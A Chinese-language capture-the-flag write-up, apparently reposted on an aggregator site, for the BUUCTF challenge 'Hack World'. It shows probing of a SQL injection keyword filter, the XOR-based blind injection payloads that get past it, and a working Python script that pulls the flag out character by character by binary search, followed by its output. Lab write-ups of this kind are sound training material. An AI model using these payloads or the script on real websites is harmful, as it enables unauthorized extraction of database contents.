当前位置: 代码迷 >> 综合 >> 第二十六题——[CISCN2019 华北赛区 Day2 Web1]Hack World
  详细解决方案

第二十六题——[CISCN2019 华北赛区 Day2 Web1]Hack World

热度:27   发布时间:2023-11-19 19:40:51.0

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,看到提示flag在flag表的flag字段

在这里插入图片描述

第二步:尝试万能密码1'or 1=1#发现被拦截

在这里插入图片描述

第三步:猜测拦截黑名单

  1. 有第二步得知输入黑名单会出现SQL Injection Checked提示,输入1'^发现未被拦截但是无详细错误提示,猜测是盲注
    在这里插入图片描述
  2. 使用burpsuite进行过滤查看,发现union,ununionion,and,or,空格,;,都被拦截,猜测使用异或盲注
    在这里插入图片描述

第四步:构建脚本获取flag

  1. 通过burpsuite抓获得知通过post传入id参数来进行sql查询
    在这里插入图片描述

  2. 异或注入通过构造where后面的全真式来获取结果,所以构造0^flag的ascii的全真式推测出flag

  3. 测试:由于flag格式都是flag{xxx},第一个字母为f,ascii值大于1,输入0^(ascii(substr((select(flag)from(flag)),0,1))>1)是永真式获得结果为hello,而输入假式(0^(ascii(substr((select(flag)from(flag)),0,1))>200))得到error结果
    在这里插入图片描述
    在这里插入图片描述

  4. 构造python,使用二分法获取flag

import requestsif __name__ == '__main__':url = "http://1bf27f3e-0eb4-41fd-8991-aef8381dbfbc.node3.buuoj.cn/index.php"payload = {
    "id": ""}result = ""for i in range(1, 100):l = 32r = 126mid = (l + r) // 2while (l < r):payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)html = requests.post(url, data=payload)if "Hello" in html.text:l = mid + 1else:r = midmid = (l + r) // 2if (chr(mid) == " "):breakresult = result + chr(mid)print(result)print("flag:", result)
结果:
f
fl
fla
flag
flag{
    
flag{
    3
flag{
    3e
flag{
    3ee
flag{
    3ee5
flag{
    3ee59
flag{
    3ee59b
flag{
    3ee59be
flag{
    3ee59be4
flag{
    3ee59be4-
flag{
    3ee59be4-6
flag{
    3ee59be4-66
flag{
    3ee59be4-662
flag{
    3ee59be4-662a
flag{
    3ee59be4-662a-
flag{
    3ee59be4-662a-4
flag{
    3ee59be4-662a-46
flag{
    3ee59be4-662a-46b
flag{
    3ee59be4-662a-46bd
flag{
    3ee59be4-662a-46bd-
flag{
    3ee59be4-662a-46bd-9
flag{
    3ee59be4-662a-46bd-93
flag{
    3ee59be4-662a-46bd-931
flag{
    3ee59be4-662a-46bd-9318
flag{
    3ee59be4-662a-46bd-9318-
flag{
    3ee59be4-662a-46bd-9318-e
flag{
    3ee59be4-662a-46bd-9318-e8
flag{
    3ee59be4-662a-46bd-9318-e8c
flag{
    3ee59be4-662a-46bd-9318-e8c7
flag{
    3ee59be4-662a-46bd-9318-e8c70
flag{
    3ee59be4-662a-46bd-9318-e8c701
flag{
    3ee59be4-662a-46bd-9318-e8c7019
flag{
    3ee59be4-662a-46bd-9318-e8c70198
flag{
    3ee59be4-662a-46bd-9318-e8c70198f
flag{
    3ee59be4-662a-46bd-9318-e8c70198f1
flag{
    3ee59be4-662a-46bd-9318-e8c70198f18
flag{
    3ee59be4-662a-46bd-9318-e8c70198f188
flag{
    3ee59be4-662a-46bd-9318-e8c70198f188}
flag: flag{
    3ee59be4-662a-46bd-9318-e8c70198f188}进程已结束,退出代码为 0
  相关解决方案